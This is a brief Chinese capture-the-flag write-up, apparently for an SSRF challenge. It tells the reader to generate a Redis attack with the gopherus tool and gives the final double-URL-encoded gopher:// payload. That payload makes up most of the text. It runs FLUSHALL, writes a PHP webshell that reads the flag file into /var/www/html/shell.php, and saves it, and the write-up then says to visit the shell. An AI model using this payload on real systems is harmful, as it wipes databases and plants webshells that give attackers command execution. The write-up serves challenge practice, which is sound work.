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1.提示redis数据库，用gopherus来帮我们生成请求

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gopherus --exploit redis

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2.因为要经过两个服务器，所以得到的请求还要再url编码一次，最终payload

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url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

3.这题要响应很久，但最后木马能写进去

访问就行

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